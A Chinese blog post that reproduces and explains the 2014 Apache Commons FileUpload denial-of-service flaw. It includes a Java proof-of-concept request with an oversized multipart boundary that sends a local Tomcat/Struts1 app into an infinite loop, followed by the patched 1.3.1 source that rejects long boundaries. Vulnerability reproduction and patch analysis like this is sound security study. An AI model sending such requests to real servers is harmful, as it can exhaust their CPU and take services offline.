重现apache commons fileupload DOS漏洞
这个漏洞是2014年2月4日被发现的, 因为该组件试用范围非常广, 所以该漏洞的影响也非常巨大。通过特制的包含畸形header的http请求,可以导致使用该组件的应用程序进入无限循环从而耗尽CPU等资源并最终崩溃。
最近因为在修补struts1的可操纵classLoader的漏洞(struts2也有该漏洞, 不在本文讨论范围), 所以我就在我建立的struts1的项目上直接做测试,怎么创建struts1的项目不在本文讨论范围之列你可以在这里下载struts1样例程序(http://download.csdn.NET/detail/sunxing007/7350433)。 只需要建立一个最简单的hello world的struts1程序即可。然后启动tomcat并部署项目。
然后用apache http component 组件写一个程序来发起一个“带特制的包含畸形header的http请求” 关键代码如下(在下载的附件中有HttpUtil.Java包含完整的代码):
- public static void testCommonFileUploadVelnerability() throws ClientProtocolException, IOException{
- CloseableHttpClient httpClient = createHttpClient();
- HttpPost post = new HttpPost("http://localhost:8080/Struts1/helloWorld.do");
- String boundary = "";
- for(int i=0; i<4092; i++){
- boundary += "a";
- }
- post.setHeader("Content-Type", "multipart/form-data; boundary=#{" + boundary + "}");
- post.setHeader("lf-None-Match","59e532f501ac13174dd9c488f897ee75");
- String body = "";
- for(int i=0; i<4097; i++){
- body +="b";
- }
- post.setEntity(new StringEntity(body));
- CloseableHttpResponse response = httpClient.execute(post, DEFAULT_CONTEXT);
- HttpEntity entity = response.getEntity();
- System.out.println(EntityUtils.toString(entity));
- System.out.println("Over!");
- }
运行该程序, 你会发现该程序无法返回, 打开任务管理器,会发现CPU使用率为100%; 关闭tomcat后 CPU的使用率马上降到正常水平。
该漏洞出现在fileupload 1.3和以前的版本, apache在漏洞发现之后很快发布了1.3.1版本修复了该bug。
稍微有点好奇的我,就下载了fileupload的1.3和1.3.1的源码并比较了一下, 发现问题的原因就在于, 它在解析/读取上传内容的时候,使用了一个长度为4096的buffer,它不断的读取内容到buffer并用boundary来判断是否一个附件结束。但是如果一个boundary加上CR/LF外加两个dash(-)的长度本身就超过了buffer的长度的话, 会导致解析进入死循环。所以apache在fix这个bug的时候,会判断boundary的长度是否大于buffer的长度。如果是就抛异常。如下的代码片段出现在FileUploadBase.java和MultipartStream.java中:
- try {
- multi = new MultipartStream(input, boundary, notifier);
- } catch (IllegalArgumentException iae) {
- throw new InvalidContentTypeException(
- format("The boundary specified in the %s header is too long", CONTENT_TYPE), iae);
- }
- public MultipartStream(InputStream input,
- byte[] boundary,
- int bufSize,
- ProgressNotifier pNotifier) {
- if (boundary == null) {
- throw new IllegalArgumentException("boundary may not be null");
- }
- this.input = input;
- this.bufSize = bufSize;
- this.buffer = new byte[bufSize];
- this.notifier = pNotifier;
- // We prepend CR/LF to the boundary to chop trailing CR/LF from
- // body-data tokens.
- this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;
- if (bufSize < this.boundaryLength + 1) {
- throw new IllegalArgumentException(
- "The buffer size specified for the MultipartStream is too small");
- }
- this.boundary = new byte[this.boundaryLength];
- this.keepRegion = this.boundary.length;
- System.arraycopy(BOUNDARY_PREFIX, 0, this.boundary, 0,
- BOUNDARY_PREFIX.length);
- System.arraycopy(boundary, 0, this.boundary, BOUNDARY_PREFIX.length,
- boundary.length);
- head = 0;
- tail = 0;
- }
有兴趣的可以下载源码并详细研究一下。
重现apache commons fileupload DOS漏洞的更多相关文章
- Apache Commons Fileupload 反序列化漏洞分析
下面是k8脚本. # -*- coding: utf-8 -*- # Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) D ...
- CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS
catalog . Description . Analysis . POC . Solution 1. Description MultipartStream.java in Apache Comm ...
- Apache Commons fileUpload实现文件上传之一
需要两个jar包: commons-fileupload.jar Commons IO的jar包(本文使用commons-io-2.4.jar) 利用Servlet来实现文件上传. package ...
- 上传文件出错:org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed. Stream ended unexpectedly
最近做一个web项目中有上传文件的功能,已经写出并在本地和部署到服务器上测试了好几个文件上传都没问题(我用的是tomcat).后来又上传了一个700多K的文件(前边的都是不足600K的,并且这个wor ...
- Caused by: java.lang.ClassNotFoundException: org.apache.commons.fileupload.RequestContext
1.错误描述 usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ] [ -nonaming ] { -help ...
- org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException
1.错误原因 org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't ...
- 上传文件代码报错,java.lang.ClassNotFoundException: org.apache.commons.fileupload.FileItemFactory
2018-09-11 11:11:08.235 ERROR 14352 --- [nio-8080-exec-5] o.a.c.c.C.[.[.[/].[dispatcherServlet] : ...
- Apache Commons FileUpload 实现文件上传
Commons FileUpload简介 Apache Commons是一个专注于可重用Java组件开发的 Apache 项目.Apache Commons项目由三个部分组成: 1.Commons P ...
- Could not parse multipart servlet request; nested exception is org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed.
org.springframework.web.multipart.MultipartException: Could not parse multipart servlet request; nes ...
随机推荐
- lombok中的@ToString注解作用
Lombok是一个很好的工具,节省了很多重写方法,而@ToString就是节省了ToString方法,lombok中@ToString就是节省了我们在模型中的冗余代码下面就来举个例子 import j ...
- AWR and ADDM
The Automatic Workload Repository Oracle collect a vast amount of statistics regarding the performan ...
- influxDB系列(二)--查看数据库的大小
google 搜索了好多文档,终于发现了这个靠谱的回答. https://groups.google.com/forum/#!topic/influxdb/I5eady_Ta5Y You can se ...
- HDUJ 2070 Fibbonacci Number
Fibbonacci Number Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others ...
- Solid Edge如何快速装配,如何截取组装关系式
我们点击装配体的任意零件,下方将显示他的装配关系,由于一些零件的装配关系是固定的,比如螺栓,肯定要做一个面贴和,再做一个同轴,所以我们可以保存这些固有的步骤,不用再每次挨个点击这些装配关系. 点击 ...
- TensorFlow 官方文档中文版
http://wiki.jikexueyuan.com/list/deep-learning/ TensorFlow 官方文档中文版 你正在阅读的项目可能会比 Android 系统更加深远地影响着世界 ...
- Linux下的ssh实验环境搭建与管理
实验环境[size=10.5000pt]1:网桥模式[size=10.5000pt]2:安装好vmtoos[size=10.5000pt]3:安装好yum[size=10.5000pt]4:安装好ss ...
- JPush 初始化失败,直接按照官方文档的格式写的,portal上的包名肯定不会错,mainfest里面直接指定${applicationId}
错误日志: 11-27 09:59:19.670 26124-26124/? D/dalvikvm: Late-enabling CheckJNI 11-27 09:59:20.008 26124-2 ...
- C# 数据库访问
C# 数据库访问 分类: C#学习笔记2011-07-05 11:26 515人阅读 评论(0) 收藏 举报 数据库c#datasettextboxcommandexception 目录(?)[+ ...
- TS流解析 四
一 从TS流开始 数字电视机顶盒接收到的是一段段的码流,我们称之为TS(Transport Stream,传输流),每个TS流都携带一些信息,如Video.Audio以及我们需要学习的PAT.PMT等 ...